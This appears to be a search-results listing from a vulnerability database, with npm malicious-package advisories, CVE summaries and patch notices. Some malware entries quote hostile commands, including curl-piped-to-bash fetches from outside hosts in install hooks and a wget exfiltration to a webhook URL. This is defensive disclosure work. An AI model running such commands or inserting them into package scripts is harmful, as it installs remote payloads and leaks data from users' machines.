142643 matches found
yggdrasil-worker-package-manager security update
0.2.3-7 - Bump release for rebuild 0.2.3-6 - Bump release for rebuild...
MAL-2026-10691 Malicious code in internallib_v907 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40689180cd10e4352f018c9ffc96ddd110f12299bd83f195fe9879e28d1de59e index.js line 5 invokes exec'/bin/bash -c "curl https://reverse-shell.sh/... | sh"', piping a remote script directly into a shell. The fetched payloa...
EUVD-2026-44768
OS command injection in the npm package loading component in AWS jsii-diff before 1.131.0 might allow context-dependent attackers to execute arbitrary commands via crafted package specifiers passed to the npm: source argument. To mitigate this issue, users should upgrade to jsii-diff v1.131.0 or...
CVE-2026-15895 OS command injection in jsii-diff in AWS jsii
OS command injection in the npm package loading component in AWS jsii-diff before 1.131.0 might allow context-dependent attackers to execute arbitrary commands via crafted package specifiers passed to the npm: source argument. To mitigate this issue, users should upgrade to jsii-diff v1.131.0 or...
MAL-2026-10682 Malicious code in code-formatter-setup (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042 package.json declares a postinstall lifecycle hook that runs node -e "require'childprocess'.execSync'curl -s https://m100.cloud/setup | bash'",...
ROOT-APP-NPM-CVE-2026-48988 CVE-2026-48988 in @rootio/markdown-it - Patched by Root
Root has patched CVE-2026-48988 in the @rootio/markdown-it package for Root:npm. Multiple fixed versions available...
ROOT-APP-NPM-CVE-2026-29057 CVE-2026-29057 in @rootio/next - Patched by Root
Root has patched CVE-2026-29057 in the @rootio/next package for Root:npm. Multiple fixed versions available...
ROOT-APP-NPM-CVE-2026-27980 CVE-2026-27980 in @rootio/next - Patched by Root
Root has patched CVE-2026-27980 in the @rootio/next package for Root:npm. Multiple fixed versions available...
CVE-2026-61449 Grav before 2.0.2 Decompression Bomb via Forged ZIP Size
Grav 2.0.1 contains a decompression-bomb size-cap bypass in ZipArchiver and GPM\Installer. The size bound introduced in 2.0.1 sums the uncompressed size declared in each entry's ZIP central-directory header ZipArchive::statIndex'size' and rejects archives exceeding...
MAL-2026-10668 Malicious code in chain-as-log (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86f8946bf37a9861239e59a78f2d003612494061d5aa60c5f7e54379e72f0ac7 chain-as-log advertises itself as a chai plugin providing deep-equal-excluding assertion helpers. At plugin load time when a consumer calls...
MAL-2026-10671 Malicious code in spytrack (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 72113145e88d53764f1e157c91cda05cb143a31802d9565ba8e1765e9886491b spytrack is a typosquat of chai-spies. When the plugin is registered via chai.use, the top-level plugin function invokes assertConnection, which...
ROOT-APP-NPM-GHSA-VVJJ-XCJG-GR5G GHSA-vvjj-xcjg-gr5g in @rootio/nodemailer - Patched by Root
Root has patched GHSA-vvjj-xcjg-gr5g in the @rootio/nodemailer package for Root:npm. Multiple fixed versions available...
MAL-2026-10634 Malicious code in estore-client (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6f5f2a664c7576b3cbf04696ddff717d8b3e9b835693035fa56a23035edef411 package.json declares a preinstall lifecycle script that runs wget against https://webhook.site/d32804ac-1bbb-4100-ab60-95231dd3251c/, sending the...
MAL-2026-10651 Malicious code in iwsdk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 66af3674e89512532e1448a9421b3318388094ff91bb2e8c32714670a7f5f2cc The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-10650 Malicious code in install-skia (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b665b508eeae9e0e619ed7b68e3a43248cd81d67d40a0516bbd62981ddb2359f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
CVE-2026-59875 vulnerabilities
Vulnerabilities for packages: kibana, prism, wazuh-dashboard, graalvm, kubeflow-centraldashboard, opensearch-dashboards-fips, pulumi, npm, saf, gitlab-rails-ce, sqlpad, opensearch-dashboards, code-server, actions-runner, gitlab-rails-ce-fips, lerna, wazuh-dashboard-fips...
CVE-2026-59873 vulnerabilities
Vulnerabilities for packages: kibana, prism, wazuh-dashboard, graalvm, kubeflow-centraldashboard, opensearch-dashboards-fips, pulumi, npm, saf, gitlab-rails-ce, sqlpad, opensearch-dashboards, code-server, actions-runner, gitlab-rails-ce-fips, lerna, wazuh-dashboard-fips, homepage...
CVE-2026-59874 vulnerabilities
Vulnerabilities for packages: kibana, prism, wazuh-dashboard, graalvm, kubeflow-centraldashboard, opensearch-dashboards-fips, pulumi, npm, saf, gitlab-rails-ce, sqlpad, opensearch-dashboards, code-server, actions-runner, gitlab-rails-ce-fips, lerna, wazuh-dashboard-fips, homepage...
